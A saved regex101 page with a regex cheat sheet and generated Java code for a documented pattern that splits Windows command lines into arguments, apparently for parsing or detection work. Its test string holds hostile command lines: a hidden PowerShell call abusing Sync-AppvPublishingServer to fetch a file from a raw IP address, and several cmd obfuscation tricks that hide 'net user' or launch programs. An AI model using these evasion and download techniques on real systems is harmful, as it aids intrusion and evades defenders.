Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gmJ

Test String

Code Generator

Language

Generated Code

import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "(?#\\\n" + "Doc: This regex will split the commandline in arguments\n\n" + "Details:\n" + " The arg variable will contain all the different arguments\n" + " argument delimiters are in two categories :\n" + " whitespaces delimiters : \\t \\n \\r \\v ' '\n" + " ',' : is a delimiter in the windows cmd \n" + " but it's not one in the powershell\n" + " quotation delimiters : \\' \\` \\\"\n\n" + "Variables:\n" + " arg : will contain each argument\n" + "Next variables can be adjusted by adding or deleting delimiters\n" + " quote_delimiters : quoted argument delimiters\n" + " whitespace_delimiters : whitespace argument delimiters\n\n" + ")(?#\\\n" + ")(?<arg>(?#\\\n" + " )(?<arg_quote>(?#\\\n" + " )(?<quote_delimiters>\"|'|`)(?#\\\n" + " )(?:(?#\\\n" + " )(?!\\3)(?#\\\n" + " )(?<escape>(?(?!\\\\)[\\x00-\\xFF]|[\\x00-\\xFF]{2}))(?#\\\n" + " ))*(?#\\\n" + " )\\3(?#\\\n" + " ))|(?<arg_whitespace>(?#\\\n" + " )(?:(?#\\\n" + " )(?!(?#\\\n" + " )(?<whitespace_delimiters>\\s|$)|(?#\\\n" + " )(?P>quote_delimiters)(?#\\\n" + " ))(?#\\\n" + " )(?P>escape)(?#\\\n" + " ))+(?#\\\n" + " ))(?#\\\n" + "))(?#\\\n" + ")(?#\\\n" + ")(?#\\\n" + "Related doc:\n" + " https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019\n" + " http://daviddeley.com/autohotkey/parameters/parameters.htm\n" + ")"; final String string = "\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe\" --type=renderer /prefetch:1 \"R:\\Coficine\\MCI\\01 Activités\\03 PARTICIPATIONS\\2 Sociétés\\1 Particip. actuelles\\Monello Productions\\03. Dossier client\\01. KYC\\Actionnariat\\Actionnariat - 2018-05-03.pdf\"\n\n" + "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \\n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}\n\n" + "\"UNIT TESTS :\"\n\n" + "''\n" + " arg0\\ \\ \\\\ \"arg1\\\"\\\"\" \"arg2\\\"\\\\\"\"arg3 \\\"\" 'arg4\"arg4\"' arg5 arg6 \n\n" + " space_bef_and_aft__arg0 arg1 arg2 arg3 \n" + "space_aft___________arg0 arg1 arg2 arg3 \n" + " space_bef__________arg0 arg1 arg2 arg3\n" + "nospace_____________arg0 arg1 arg2 arg3\n\n" + " multispace______________arg0 arg1 arg2 arg3 arg4 \n\n" + " C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\cwp.py C:\\ProgramData\\Anaconda3 C:\\ProgramData\\Anaconda3\\python.exe C:\\ProgramData\\Anaconda3\\Scripts\\jupyter-notebook-script.py \"%USERPROFILE%/\" \n\n" + ".\n\n" + "`echo `ls \"/tmp\"``'``'\n\n" + "1\"\"3\"4\"\n\n" + "n^e^t u^s^er\n\n" + "cmd /c \"set x=calc & echo %x% | cmd\"\n" + "cmd /c \"set x=c@alc & echo %x:@=mantvydas% | cmd\"\n\n" + "\\c \\\\ \\' \\\" '\\'\\'\\'\\'\\'\\'\\'\\\\' \n\n" + "'# this will take the C character from %programdata% and will launch the cmd prompt'\n" + "%programdata:~0,1%md \\c \"whatever\"\n\n" + "@cmd\n" + "set pSM \n" + "PSModulePath=C:\\Users\\mantvydas\\Documents\\WindowsPowerShell\\Modules;....\n\n" + "FOR /F \"tokens=7 delims=s\\\\\" %g IN ('set^|findstr PSM') do %g\n\n" + "cmd,/c;hostname\n\n\n\n\n\n"; final Pattern pattern = Pattern.compile(regex, Pattern.MULTILINE); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html